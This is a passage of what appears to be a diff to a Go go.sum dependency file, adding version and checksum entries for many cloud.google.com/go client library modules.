v1.12.1/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= +cloud.google.com/go/eventarc v1.13.0/go.mod h1:mAFCW6lukH5+IZjkvrEss+jmt2kOdYlN8aMx3sRJiAI= +cloud.google.com/go/filestore v1.3.0/go.mod h1:+qbvHGvXU1HaKX2nD0WEPo92TP/8AQuCVEBXNY9z0+w= +cloud.google.com/go/filestore v1.4.0/go.mod h1:PaG5oDfo9r224f8OYXURtAsY+Fbyq/bLYoINEK8XQAI= +cloud.google.com/go/filestore v1.5.0/go.mod h1:FqBXDWBp4YLHqRnVGveOkHDf8svj9r5+mUDLupOWEDs= +cloud.google.com/go/filestore v1.6.0/go.mod h1:di5unNuss/qfZTw2U9nhFqo8/ZDSc466dre85Kydllg= +cloud.google.com/go/filestore v1.7.1/go.mod h1:y10jsorq40JJnjR/lQ8AfFbbcGlw3g+Dp8oN7i7FjV4= +cloud.google.com/go/firestore v1.9.0/go.mod h1:HMkjKHNTtRyZNiMzu7YAsLr9K3X2udY2AMwDaMEQiiE= +cloud.google.com/go/firestore v1.11.0/go.mod h1:b38dKhgzlmNNGTNZZwe7ZRFEuRab1Hay3/DBsIGKKy4= +cloud.google.com/go/functions v1.6.0/go.mod h1:3H1UA3qiIPRWD7PeZKLvHZ9SaQhR26XIJcC0A5GbvAk= +cloud.google.com/go/functions v1.7.0/go.mod h1:+d+QBcWM+RsrgZfV9xo6KfA1GlzJfxcfZcRPEhDDfzg= +cloud.google.com/go/functions v1.8.0/go.mod h1:RTZ4/HsQjIqIYP9a9YPbU+QFoQsAlYgrwOXJWHn1POY= +cloud.google.com/go/functions v1.9.0/go.mod h1:Y+Dz8yGguzO3PpIjhLTbnqV1CWmgQ5UwtlpzoyquQ08= +cloud.google.com/go/functions v1.10.0/go.mod h1:0D3hEOe3DbEvCXtYOZHQZmD+SzYsi1YbI7dGvHfldXw= +cloud.google.com/go/functions v1.12.0/go.mod h1:AXWGrF3e2C/5ehvwYo/GH6O5s09tOPksiKhz+hH8WkA= +cloud.google.com/go/functions v1.13.0/go.mod h1:EU4O007sQm6Ef/PwRsI8N2umygGqPBS/IZQKBQBcJ3c= +cloud.google.com/go/functions v1.15.1/go.mod h1:P5yNWUTkyU+LvW/S9O6V+V423VZooALQlqoXdoPz5AE= +cloud.google.com/go/gaming v1.5.0/go.mod h1:ol7rGcxP/qHTRQE/RO4bxkXq+Fix0j6D4LFPzYTIrDM= +cloud.google.com/go/gaming v1.6.0/go.mod h1:YMU1GEvA39Qt3zWGyAVA9bpYz/yAhTvaQ1t2sK4KPUA= +cloud.google.com/go/gaming v1.7.0/go.mod h1:LrB8U7MHdGgFG851iHAfqUdLcKBdQ55hzXy9xBJz0+w= +cloud.google.com/go/gaming v1.8.0/go.mod h1:xAqjS8b7jAVW0KFYeRUxngo9My3f33kFmua++Pi+ggM= +cloud.google.com/go/gaming v1.9.0/go.mod h1:Fc7kEmCObylSWLO334NcO+O9QMDyz+TKC4v1D7X+Bc0= +cloud.google.com/go/gaming v1.10.1/go.mod h1:XQQvtfP8Rb9Rxnxm5wFVpAp9zCQkJi2bLIb7iHGwB3s= +cloud.google.com/go/gkebackup v0.2.0/go.mod h1:XKvv/4LfG829/B8B7xRkk8zRrOEbKtEam6yNfuQNH60= +cloud.google.com/go/gkebackup v0.3.0/go.mod h1:n/E671i1aOQvUxT541aTkCwExO/bTer2HDlj4TsBRAo= +cloud.google.com/go/gkebackup v0.4.0/go.mod h1:byAyBGUwYGEEww7xsbnUTBHIYcOPy/PgUWUtOeRm9Vg= +cloud.google.com/go/gkebackup v1.3.0/go.mod h1:vUDOu++N0U5qs4IhG1pcOnD1Mac79xWy6GoBFlWCWBU= +cloud.google.com/go/gkeconnect v0.5.0/go.mod h1:c5lsNAg5EwAy7fkqX/+goqFsU1Da/jQFqArp+wGNr/o= +cloud.google.com/go/gkeconnect v0.6.0/go.mod h1:Mln67KyU/sHJEBY8kFZ0xTeyPtzbq9StAVvEULYK16A= +cloud.google.com/go/gkeconnect v0.7.0/go.mod h1:SNfmVqPkaEi3bF/B3CNZOAYPYdg7sU+obZ+QTky2Myw= +cloud.google.com/go/gkeconnect v0.8.1/go.mod h1:KWiK1g9sDLZqhxB2xEuPV8V9NYzrqTUmQR9shJHpOZw= +cloud.google.com/go/gkehub v0.9.0/go.mod h1:WYHN6WG8w9bXU0hqNxt8rm5uxnk8IH+lPY9J2TV7BK0= +cloud.google.com/go/gkehub v0.10.0/go.mod h1:UIPwxI0DsrpsVoWpLB0stwKCP+WFVG9+y977wO+hBH0= +cloud.google.com/go/gkehub v0.11.0/go.mod h1:JOWHlmN+GHyIbuWQPl47/C2RFhnFKH38jH9Ascu3n0E= +cloud.google.com/go/gkehub v0.12.0/go.mod h1:djiIwwzTTBrF5NaXCGv3mf7klpEMcST17VBTVVDcuaw= +cloud.google.com/go/gkehub v0.14.1/go.mod h1:VEXKIJZ2avzrbd7u+zeMtW00Y8ddk/4V9511C9CQGTY= +cloud.google.com/go/gkemulticloud v0.3.0/go.mod h1:7orzy7O0S+5kq95e4Hpn7RysVA7dPs8W/GgfUtsPbrA= +cloud.google.com/go/gkemulticloud v0.4.0/go.mod h1:E9gxVBnseLWCk24ch+P9+B2CoDFJZTyIgLKSalC7tuI= +cloud.google.com/go/gkemulticloud v0.5.0/go.mod h1:W0JDkiyi3Tqh0TJr//y19wyb1yf8llHVto2Htf2Ja3Y= +cloud.google.com/go/gkemulticloud v0.6.1/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= +cloud.google.com/go/gkemulticloud v1.0.0/go.mod h1:kbZ3HKyTsiwqKX7Yw56+wUGwwNZViRnxWK2DVknXWfw= +cloud.google.com/go/grafeas v0.2.0/go.mod h1:KhxgtF2hb0P191HlY5besjYm6MqTSTj3LSI+M+ByZHc= +cloud.google.com/go/grafeas v0.3.0/go.mod h1:P7hgN24EyONOTMyeJH6DxG4zD7fwiYa5Q6GUgyFSOU8= +cloud.google.com/go/gsuiteaddons v1.3.0/go.mod h1:EUNK/J1lZEZO8yPtykKxLXI6JSVN2rg9bN8SXOa0bgM= +cloud.google.com/go/gsuiteaddons v1.4.0/go.mod h1:rZK5I8hht7u7HxFQcFei0+AtfS9uSushomRlg+3ua1o= +cloud.google.com/go/gsuiteaddons v1.5.0/go.mod h1:TFCClYLd64Eaa12sFVmUyG62tk4mdIsI7pAnSXRkcFo= +cloud.google.com/go/gsuiteaddons v1.6.1/go.mod h1:CodrdOqRZcLp5WOwejHWYBjZvfY0kOphkAKpF/3qdZY= +cloud.google.com/go/iam v0.1.0/go.mod h1:vcUNEa0pEm0qRVpmWepWaFMIAI8/hjB9mO8rNCJtF6c= +cloud.google.com/go/iam v0.3.0/go.mod h1:XzJPvDayI+9zsASAFO68Hk07u3z+f+JrT2xXNdp4bnY= +cloud.google.com/go/iam v0.5.0/go.mod h1:wPU9Vt0P4UmCux7mqtRu6jcpPAb74cP1fh50J3QpkUc= +cloud.google.com/go/iam v0.6.0/go.mod h1:+1AH33ueBne5MzYccyMHtEKqLE4/kJOibtffMHDMFMc= +cloud.google.com/go/iam v0.7.0/go.mod h1:H5Br8wRaDGNc8XP3keLc4unfUUZeyH3Sfl9XpQEYOeg= +cloud.google.com/go/iam v0.8.0/go.mod h1:lga0/y3iH6CX7sYqypWJ33hf7kkfXJag67naqGESjkE= +cloud.google.com/go/iam v0.11.0/go.mod h1:9PiLDanza5D+oWFZiH1uG+RnRCfEGKoyl6yo4cgWZGY= +cloud.google.com/go/iam v0.12.0/go.mod h1:knyHGviacl11zrtZUoDuYpDgLjvr28sLQaG0YB2GYAY= +cloud.google.com/go/iam v0.13.0/go.mod h1:ljOg+rcNfzZ5d6f1nAUJ8ZIxOaZUVoS14bKCtaLZ/D0= +cloud.google.com/go/iam v1.0.1/go.mod h1:yR3tmSL8BcZB4bxByRv2jkSIahVmCtfKZwLYGBalRE8= +cloud.google.com/go/iam v1.1.0/go.mod h1:nxdHjaKfCr7fNYx/HJMM8LgiMugmveWlkatear5gVyk= +cloud.google.com/go/iam v1.1.1/go.mod h1:A5avdyVL2tCppe4unb0951eI9jreack+RJ0/d+KUZOU= +cloud.google.com/go/iap v1.4.0/go.mod h1:RGFwRJdihTINIe4wZ2iCP0zF/qu18ZwyKxrhMhygBEc= +cloud.google.com/go/iap v1.5.0/go.mod h1:UH/CGgKd4KyohZL5Pt0jSKE4m3FR51qg6FKQ/z/Ix9A= +cloud.google.com/go/iap v1.6.0/go.mod h1:NSuvI9C/j7UdjGjIde7t7HBz+QTwBcapPE07+sSRcLk= +cloud.google.com/go/iap v1.7.0/go.mod h1:beqQx56T9O1G1yNPph+spKpNibDlYIiIixiqsQXxLIo= +cloud.google.com/go/iap v1.7.1/go.mod h1:WapEwPc7ZxGt2jFGB/C/bm+hP0Y6NXzOYGjpPnmMS74= +cloud.google.com/go/iap v1.8.1/go.mod h1:sJCbeqg3mvWLqjZNsI6dfAtbbV1DL2Rl7e1mTyXYREQ= +cloud.google.com/go/ids v1.1.0/go.mod h1:WIuwCaYVOzHIj2OhN9HAwvW+DBdmUAdcWlFxRl+KubM= +cloud.google.com/go/ids v1.2.0/go.mod h1:5WXvp4n25S0rA/mQWAg1YEEBBq6/s+7ml1RDCW1IrcY= +cloud.google.com/go/ids v1.3.0/go.mod h1:JBdTYwANikFKaDP6LtW5JAi4gubs57SVNQjemdt6xV4= +cloud.google.com/go/ids v1.4.1/go.mod h1:np41ed8YMU8zOgv53MMMoCntLTn2lF+SUzlM+O3u/jw= +cloud.google.com/go/iot v1.3.0/go.mod h1:r7RGh2B61+B8oz0AGE+J72AhA0G7tdXItODWsaA2oLs= +cloud.google.com/go/iot v1.4.0/go.mod h1:dIDxPOn0UvNDUMD8Ger7FIaTuvMkj+aGk94RPP0iV+g= +cloud.google.com/go/iot v1.5.0/go.mod h1:mpz5259PDl3XJthEmh9+ap0affn/MqNSP4My77Qql9o= +cloud.google.com/go/iot v1.6.0/go.mod h1:IqdAsmE2cTYYNO1Fvjfzo9po179rAtJeVGUvkLN3rLE= +cloud.google.com/go/iot v1.7.1/go.mod h1:46Mgw7ev1k9KqK1ao0ayW9h0lI+3hxeanz+L1zmbbbk= +cloud.google.com/go/kms v1.4.0/go.mod h1:fajBHndQ+6ubNw6Ss2sSd+SWvjL26RNo/dr7uxsnnOA= +cloud.google.com/go/kms v1.5.0/go.mod h1:QJS2YY0eJGBg3mnDfuaCyLauWwBJiHRboYxJ++1xJNg= +cloud.google.com/go/kms v1.6.0/go.mod h1:Jjy850yySiasBUDi6KFUwUv2n1+o7QZFyuUJg6OgjA0= +cloud.google.com/go/kms v1.8.0/go.mod h1:4xFEhYFqvW+4VMELtZyxomGSYtSQKzM178ylFW4jMAg= +cloud.google.com/go/kms v1.9.0/go.mod h1:qb1tPTgfF9RQP8e1wq4cLFErVuTJv7UsSC915J8dh3w= +cloud.google.com/go/kms v1.10.0/go.mod h1:ng3KTUtQQU9bPX3+QGLsflZIHlkbn8amFAMY63m8d24= +cloud.google.com/go/kms v1.10.1/go.mod h1:rIWk/TryCkR59GMC3YtHtXeLzd634lBbKenvyySAyYI= +cloud.google.com/go/kms v1.11.0/go.mod h1:hwdiYC0xjnWsKQQCQQmIQnS9asjYVSK6jtXm+zFqXLM= +cloud.google.com/go/kms v1.12.1/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= +cloud.google.com/go/kms v1.15.0/go.mod h1:c9J991h5DTl+kg7gi3MYomh12YEENGrf48ee/N/2CDM= +cloud.google.com/go/language v1.4.0/go.mod h1:F9dRpNFQmJbkaop6g0JhSBXCNlO90e1KWx5iDdxbWic= +cloud.google.com/go/language v1.6.0/go.mod h1:6dJ8t3B+lUYfStgls25GusK04NLh3eDLQnWM3mdEbhI= +cloud.google.com/go/language v1.7.0/go.mod h1:DJ6dYN/W+SQOjF8e1hLQXMF21AkH2w9wiPzPCJa2MIE= +cloud.google.com/go/language v1.8.0/go.mod h1:qYPVHf7SPoNNiCL2Dr0FfEFNil1qi3pQEyygwpgVKB8= +cloud.google.com/go/language v1.9.0/go.mod h1:Ns15WooPM5Ad/5no/0n81yUetis74g3zrbeJBE+ptUY= +cloud.google.com/go/language v1.10.1/go.mod h1:CPp94nsdVNiQEt1CNjF5WkTcisLiHPyIbMhvR8H2AW0= +cloud.google.com/go/lifesciences v0.5.0/go.mod h1:3oIKy8ycWGPUyZDR/8RNnTOYevhaMLqh5vLUXs9zvT8= +cloud.google.com/go/lifesciences v0.6.0/go.mod h1:ddj6tSX/7BOnhxCSd3ZcETvtNr8NZ6t/iPhY2Tyfu08= +cloud.google.com/go/lifesciences v0.8.0/go.mod h1:lFxiEOMqII6XggGbOnKiyZ7IBwoIqA84ClvoezaA/bo= +cloud.google.com/go/lifesciences v0.9.1/go.mod h1:hACAOd1fFbCGLr/+weUKRAJas82Y4vrL3O5326N//Wc= +cloud.google.com/go/logging v1.6.1/go.mod h1:5ZO0mHHbvm8gEmeEUHrmDlTDSu5imF6MUP9OfilNXBw= +cloud.google.com/go/logging v1.7.0/go.mod h1:3xjP2CjkM3ZkO73aj4ASA5wRPGGCRrPIAeNqVNkzY8M= +cloud.google.com/go/longrunning v0.1.1/go.mod h1:UUFxuDWkv22EuY93jjmDMFT5GPQKeFVJBIF6QlTqdsE= +cloud.google.com/go/longrunning v0.3.0/go.mod h1:qth9Y41RRSUE69rDcOn6DdK3HfQfsUI0YSmW3iIlLJc= +cloud.google.com/go/longrunning v0.4.1/go.mod h1:4iWDqhBZ70CvZ6BfETbvam3T8FMvLK+eFj0E6AaRQTo= +cloud.google.com/go/longrunning v0.4.2/go.mod h1:OHrnaYyLUV6oqwh0xiS7e5sLQhP1m0QU9R+WhGDMgIQ= +cloud.google.com/go/longrunning v0.5.0/go.mod h1:0JNuqRShmscVAhIACGtskSAWtqtOoPkwP0YF1oVEchc= +cloud.google.com/go/longrunning v0.5.1/go.mod h1:spvimkwdz6SPWKEt/XBij79E9fiTkHSQl/fRUUQJYJc= +cloud.google.com/go/managedidentities v1.3.0/go.mod h1:UzlW3cBOiPrzucO5qWkNkh0w33KFtBJU281hacNvsdE= +cloud.google.com/go/managedidentities v1.4.0/go.mod h1:NWSBYbEMgqmbZsLIyKvxrYbtqOsxY1ZrGM+9RgDqInM= +cloud.google.com/go/managedidentities v1.5.0/go.mod h1:+dWcZ0JlUmpuxpIDfyP5pP5y0bLdRwOS4Lp7gMni/LA= +cloud.google.com/go/managedidentities v1.6.1/go.mod h1:h/irGhTN2SkZ64F43tfGPMbHnypMbu4RB3yl8YcuEak= +cloud.google.com/go/maps v0.1.0/go.mod h1:BQM97WGyfw9FWEmQMpZ5T6cpovXXSd1cGmFma94eubI= +cloud.google.com/go/maps v0.6.0/go.mod h1:o6DAMMfb+aINHz/p/jbcY+mYeXBoZoxTfdSQ8VAJaCw= +cloud.google.com/go/maps v0.7.0/go.mod h1:3GnvVl3cqeSvgMcpRlQidXsPYuDGQ8naBis7MVzpXsY= +cloud.google.com/go/maps v1.3.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= +cloud.google.com/go/maps v1.4.0/go.mod h1:6mWTUv+WhnOwAgjVsSW2QPPECmW+s3PcRyOa9vgG/5s= +cloud.google.com/go/mediatranslation v0.5.0/go.mod h1:jGPUhGTybqsPQn91pNXw0xVHfuJ3leR1wj37oU3y1f4= +cloud.google.com/go/mediatranslation v0.6.0/go.mod h1:hHdBCTYNigsBxshbznuIMFNe5QXEowAuNmmC7h8pu5w= +cloud.google.com/go/mediatranslation v0.7.0/go.mod h1:LCnB/gZr90ONOIQLgSXagp8XUW1ODs2UmUMvcgMfI2I= +cloud.google.com/go/mediatranslation v0.8.1/go.mod h1:L/7hBdEYbYHQJhX2sldtTO5SZZ1C1vkapubj0T2aGig= +cloud.google.com/go/memcache v1.4.0/go.mod h1:rTOfiGZtJX1AaFUrOgsMHX5kAzaTQ8azHiuDoTPzNsE= +cloud.google.com/go/memcache v1.5.0/go.mod h1:dk3fCK7dVo0cUU2c36jKb4VqKPS22BTkf81Xq617aWM= +cloud.google.com/go/memcache v1.6.0/go.mod h1:XS5xB0eQZdHtTuTF9Hf8eJkKtR3pVRCcvJwtm68T3rA= +cloud.google.com/go/memcache v1.7.0/go.mod h1:ywMKfjWhNtkQTxrWxCkCFkoPjLHPW6A7WOTVI8xy3LY= +cloud.google.com/go/memcache v1.9.0/go.mod h1:8oEyzXCu+zo9RzlEaEjHl4KkgjlNDaXbCQeQWlzNFJM= +cloud.google.com/go/memcache v1.10.1/go.mod h1:47YRQIarv4I3QS5+hoETgKO40InqzLP6kpNLvyXuyaA= +cloud.google.com/go/metastore v1.5.0/go.mod h1:2ZNrDcQwghfdtCwJ33nM0+GrBGlVuh8rakL3vdPY3XY= +cloud.google.com/go/metastore v1.6.0/go.mod h1:6cyQTls8CWXzk45G55x57DVQ9gWg7RiH65+YgPsNh9s= +cloud.google.com/go/metastore v1.7.0/go.mod h1:s45D0B4IlsINu87/AsWiEVYbLaIMeUSoxlKKDqBGFS8= +cloud.google.com/go/metastore v1.8.0/go.mod h1:zHiMc4ZUpBiM7twCIFQmJ9JMEkDSyZS9U12uf7wHqSI= +cloud.google.com/go/metastore v1.10.0/go.mod h1:fPEnH3g4JJAk+gMRnrAnoqyv2lpUCqJPWOodSaf45Eo= +cloud.google.com/go/metastore v1.11.1/go.mod h1:uZuSo80U3Wd4zi6C22ZZliOUJ3XeM/MlYi/z5OAOWRA= +cloud.google.com/go/metastore v1.12.0/go.mod h1:uZuSo80U3Wd4zi6C22ZZliOUJ3XeM/MlYi/z5OAOWRA= +cloud.google.com/go/monitoring v1.7.0/go.mod h1:HpYse6kkGo//7p6sT0wsIC6IBDET0RhIsnmlA53dvEk= +cloud.google.com/go/monitoring v1.8.0/go.mod h1:E7PtoMJ1kQXWxPjB6mv2fhC5/15jInuulFdYYtlcvT4= +cloud.google.com/go/monitoring v1.12.0/go.mod h1:yx8Jj2fZNEkL/GYZyTLS4ZtZEZN8WtDEiEqG4kLK50w= +cloud.google.com/go/monitoring v1.13.0/go.mod h1:k2yMBAB1H9JT/QETjNkgdCGD9bPF712XiLTVr+cBrpw= +cloud.google.com/go/monitoring v1.15.1/go.mod h1:lADlSAlFdbqQuwwpaImhsJXu1QSdd3ojypXrFSMr2rM= +cloud.google.com/go/networkconnectivity v1.4.0/go.mod h1:nOl7YL8odKyAOtzNX73/M5/mGZgqqMeryi6UPZTk/rA= +cloud.google.com/go/networkconnectivity v1.5.0/go.mod h1:3GzqJx7uhtlM3kln0+x5wyFvuVH1pIBJjhCpjzSt75o= +cloud.google.com/go/networkconnectivity v1.6.0/go.mod h1:OJOoEXW+0LAxHh89nXd64uGG+FbQoeH8DtxCHVOMlaM= +cloud.google.com/go/networkconnectivity v1.7.0/go.mod h1:RMuSbkdbPwNMQjB5HBWD5MpTBnNm39iAVpC3TmsExt8= +cloud.google.com/go/networkconnectivity v1.10.0/go.mod h1:UP4O4sWXJG13AqrTdQCD9TnLGEbtNRqjuaaA7bNjF5E= +cloud.google.com/go/networkconnectivity v1.11.0/go.mod h1:iWmDD4QF16VCDLXUqvyspJjIEtBR/4zq5hwnY2X3scM= +cloud.google.com/go/networkconnectivity v1.12.1/go.mod h1:PelxSWYM7Sh9/guf8CFhi6vIqf19Ir/sbfZRUwXh92E= +cloud.google.com/go/networkmanagement v1.4.0/go.mod h1:Q9mdLLRn60AsOrPc8rs8iNV6OHXaGcDdsIQe1ohekq8= +cloud.google.com/go/networkmanagement v1.5.0/go.mod h1:ZnOeZ/evzUdUsnvRt792H0uYEnHQEMaz+REhhzJRcf4= +cloud.google.com/go/networkmanagement v1.6.0/go.mod h1:5pKPqyXjB/sgtvB5xqOemumoQNB7y95Q7S+4rjSOPYY= +cloud.google.com/go/networkmanagement v1.8.0/go.mod h1:Ho/BUGmtyEqrttTgWEe7m+8vDdK74ibQc+Be0q7Fof0= +cloud.google.com/go/networksecurity v0.5.0/go.mod h1:xS6fOCoqpVC5zx15Z/MqkfDwH4+m/61A3ODiDV1xmiQ= +cloud.google.com/go/networksecurity v0.6.0/go.mod h1:Q5fjhTr9WMI5mbpRYEbiexTzROf7ZbDzvzCrNl14nyU= +cloud.google.com/go/networksecurity v0.7.0/go.mod h1:mAnzoxx/8TBSyXEeESMy9OOYwo1v+gZ5eMRnsT5bC8k= +cloud.google.com/go/networksecurity v0.8.0/go.mod h1:B78DkqsxFG5zRSVuwYFRZ9Xz8IcQ5iECsNrPn74hKHU= +cloud.google.com/go/networksecurity v0.9.1/go.mod h1:MCMdxOKQ30wsBI1eI659f9kEp4wuuAueoC9AJKSPWZQ= +cloud.google.com/go/notebooks v1.2.0/go.mod h1:9+wtppMfVPUeJ8fIWPOq1UnATHISkGXGqTkxeieQ6UY= +cloud.google.com/go/notebooks v1.3.0/go.mod h1:bFR5lj07DtCPC7YAAJ//vHskFBxA5JzYlH68kXVdk34= +cloud.google.com/go/notebooks v1.4.0/go.mod h1:4QPMngcwmgb6uw7Po99B2xv5ufVoIQ7nOGDyL4P8AgA= +cloud.google.com/go/notebooks v1.5.0/go.mod h1:q8mwhnP9aR8Hpfnrc5iN5IBhrXUy8S2vuYs+kBJ/gu0= +cloud.google.com/go/notebooks v1.7.0/go.mod h1:PVlaDGfJgj1fl1S3dUwhFMXFgfYGhYQt2164xOMONmE= +cloud.google.com/go/notebooks v1.8.0/go.mod h1:Lq6dYKOYOWUCTvw5t2q1gp1lAp0zxAxRycayS0iJcqQ= +cloud.google.com/go/notebooks v1.9.1/go.mod h1:zqG9/gk05JrzgBt4ghLzEepPHNwE5jgPcHZRKhlC1A8= +cloud.google.com/go/optimization v1.1.0/go.mod h1:5po+wfvX5AQlPznyVEZjGJTMr4+CAkJf2XSTQOOl9l4= +cloud.google.com/go/optimization v1.2.0/go.mod h1:Lr7SOHdRDENsh+WXVmQhQTrzdu9ybg0NecjHidBq6xs= +cloud.google.com/go/optimization v1.3.1/go.mod h1:IvUSefKiwd1a5p0RgHDbWCIbDFgKuEdB+fPPuP0IDLI= +cloud.google.com/go/optimization v1.4.1/go.mod h1:j64vZQP7h9bO49m2rVaTVoNM0vEBEN5eKPUPbZyXOrk= +cloud.google.com/go/orchestration v1.3.0/go.mod h1:Sj5tq/JpWiB//X/q3Ngwdl5K7B7Y0KZ7bfv0wL6fqVA= +cloud.google.com/go/orchestration v1.4.0/go.mod h1:6W5NLFWs2TlniBphAViZEVhrXRSMgUGDfW7vrWKvsBk= +cloud.google.com/go/orchestration v1.6.0/go.mod h1:M62Bevp7pkxStDfFfTuCOaXgaaqRAga1yKyoMtEoWPQ= +cloud.google.com/go/orchestration v1.8.1/go.mod h1:4sluRF3wgbYVRqz7zJ1/EUNc90TTprliq9477fGobD8= +cloud.google.com/go/orgpolicy v1.4.0/go.mod h1:xrSLIV4RePWmP9P3tBl8S93lTmlAxjm06NSm2UTmKvE= +cloud.google.com/go/orgpolicy v1.5.0/go.mod h1:hZEc5q3wzwXJaKrsx5+Ewg0u1LxJ51nNFlext7Tanwc= +cloud.google.com/go/orgpolicy v1.10.0/go.mod h1:w1fo8b7rRqlXlIJbVhOMPrwVljyuW5mqssvBtU18ONc= +cloud.google.com/go/orgpolicy v1.11.0/go.mod h1:2RK748+FtVvnfuynxBzdnyu7sygtoZa1za/0ZfpOs1M= +cloud.google.com/go/orgpolicy v1.11.1/go.mod h1:8+E3jQcpZJQliP+zaFfayC2Pg5bmhuLK755wKhIIUCE= +cloud.google.com/go/osconfig v1.7.0/go.mod h1:oVHeCeZELfJP7XLxcBGTMBvRO+1nQ5tFG9VQTmYS2Fs= +cloud.google.com/go/osconfig v1.8.0/go.mod h1:EQqZLu5w5XA7eKizepumcvWx+m8mJUhEwiPqWiZeEdg= +cloud.google.com/go/osconfig v1.9.0/go.mod h1:Yx+IeIZJ3bdWmzbQU4fxNl8xsZ4amB+dygAwFPlvnNo= +cloud.google.com/go/osconfig v1.10.0/go.mod h1:uMhCzqC5I8zfD9zDEAfvgVhDS8oIjySWh+l4WK6GnWw= +cloud.google.com/go/osconfig v1.11.0/go.mod h1:aDICxrur2ogRd9zY5ytBLV89KEgT2MKB2L/n6x1ooPw= +cloud.google.com/go/osconfig v1.12.0/go.mod h1:8f/PaYzoS3JMVfdfTubkowZYGmAhUCjjwnjqWI7NVBc= +cloud.google.com/go/osconfig v1.12.1/go.mod h1:4CjBxND0gswz2gfYRCUoUzCm9zCABp91EeTtWXyz0tE= +cloud.google.com/go/oslogin v1.4.0/go.mod h1:YdgMXWRaElXz/lDk1Na6Fh5orF7gvmJ0FGLIs9LId4E= +cloud.google.com/go/oslogin v1.5.0/go.mod h1:D260Qj11W2qx/HVF29zBg+0fd6YCSjSqLUkY/qEenQU= +cloud.google.com/go/oslogin v1.6.0/go.mod h1:zOJ1O3+dTU8WPlGEkFSh7qeHPPSoxrcMbbK1Nm2iX70= +cloud.google.com/go/oslogin v1.7.0/go.mod h1:e04SN0xO1UNJ1M5GP0vzVBFicIe4O53FOfcixIqTyXo= +cloud.google.com/go/oslogin v1.9.0/go.mod h1:HNavntnH8nzrn8JCTT5fj18FuJLFJc4NaZJtBnQtKFs= +cloud.google.com/go/oslogin v1.10.1/go.mod h1:x692z7yAue5nE7CsSnoG0aaMbNoRJRXO4sn73R+ZqAs= +cloud.google.com/go/phishingprotection v0.5.0/go.mod h1:Y3HZknsK9bc9dMi+oE8Bim0lczMU6hrX0UpADuMefr0= +cloud.google.com/go/phishingprotection v0.6.0/go.mod h1:9Y3LBLgy0kDTcYET8ZH3bq/7qni15yVUoAxiFxnlSUA= +cloud.google.com/go/phishingprotection v0.7.0/go.mod h1:8qJI4QKHoda/sb/7/YmMQ2omRLSLYSu9bU0EKCNI+Lk= +cloud.google.com/go/phishingprotection v0.8.1/go.mod h1:AxonW7GovcA8qdEk13NfHq9hNx5KPtfxXNeUxTDxB6I= +cloud.google.com/go/policytroubleshooter v1.3.0/go.mod h1:qy0+VwANja+kKrjlQuOzmlvscn4RNsAc0e15GGqfMxg= +cloud.google.com/go/policytroubleshooter v1.4.0/go.mod h1:DZT4BcRw3QoO8ota9xw/LKtPa8lKeCByYeKTIf/vxdE= +cloud.google.com/go/policytroubleshooter v1.5.0/go.mod h1:Rz1WfV+1oIpPdN2VvvuboLVRsB1Hclg3CKQ53j9l8vw= +cloud.google.com/go/policytroubleshooter v1.6.0/go.mod h1:zYqaPTsmfvpjm5ULxAyD/lINQxJ0DDsnWOP/GZ7xzBc= +cloud.google.com/go/policytroubleshooter v1.7.1/go.mod h1:0NaT5v3Ag1M7U5r0GfDCpUFkWd9YqpubBWsQlhanRv0= +cloud.google.com/go/policytroubleshooter v1.8.0/go.mod h1:tmn5Ir5EToWe384EuboTcVQT7nTag2+DuH3uHmKd1HU= +cloud.google.com/go/privatecatalog v0.5.0/go.mod h1:XgosMUvvPyxDjAVNDYxJ7wBW8//hLDDYmnsNcMGq1K0= +cloud.google.com/go/privatecatalog v0.6.0/go.mod h1:i/fbkZR0hLN29eEWiiwue8Pb+GforiEIBnV9yrRUOKI= +cloud.google.com/go/privatecatalog v0.7.0/go.mod h1:2s5ssIFO69F5csTXcwBP7NPFTZvps26xGzvQ2PQaBYg= +cloud.google.com/go/privatecatalog v0.8.0/go.mod h1:nQ6pfaegeDAq/Q5lrfCQzQLhubPiZhSaNhIgfJlnIXs= +cloud.google.com/go/privatecatalog v0.9.1/go.mod h1:0XlDXW2unJXdf9zFz968Hp35gl/bhF4twwpXZAW50JA= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/pubsub v1.26.0/go.mod h1:QgBH3U/jdJy/ftjPhTkyXNj543Tin1pRYcdcPRnFIRI= +cloud.google.com/go/pubsub v1.27.1/go.mod h1:hQN39ymbV9geqBnfQq6Xf63yNhUAhv9CZhzp5O6qsW0= +cloud.google.com/go/pubsub v1.28.0/go.mod h1:vuXFpwaVoIPQMGXqRyUQigu/AX1S3IWugR9xznmcXX8= +cloud.google.com/go/pubsub v1.30.0/go.mod h1:qWi1OPS0B+b5L+Sg6Gmc9zD1Y+HaM0MdUr7LsupY1P4= +cloud.google.com/go/pubsub v1.32.0/go.mod h1:f+w71I33OMyxf9VpMVcZbnG5KSUkCOUHYpFd5U1GdRc= +cloud.google.com/go/pubsub v1.33.0/go.mod h1:f+w71I33OMyxf9VpMVcZbnG5KSUkCOUHYpFd5U1GdRc= +cloud.google.com/go/pubsublite v1.5.0/go.mod h1:xapqNQ1CuLfGi23Yda/9l4bBCKz/wC3KIJ5gKcxveZg= +cloud.google.com/go/pubsublite v1.6.0/go.mod h1:1eFCS0U11xlOuMFV/0iBqw3zP12kddMeCbj/F3FSj9k= +cloud.google.com/go/pubsublite v1.7.0/go.mod h1:8hVMwRXfDfvGm3fahVbtDbiLePT3gpoiJYJY+vxWxVM= +cloud.google.com/go/pubsublite v1.8.1/go.mod h1:fOLdU4f5xldK4RGJrBMm+J7zMWNj/k4PxwEZXy39QS0= +cloud.google.com/go/recaptchaenterprise v1.3.1/go.mod 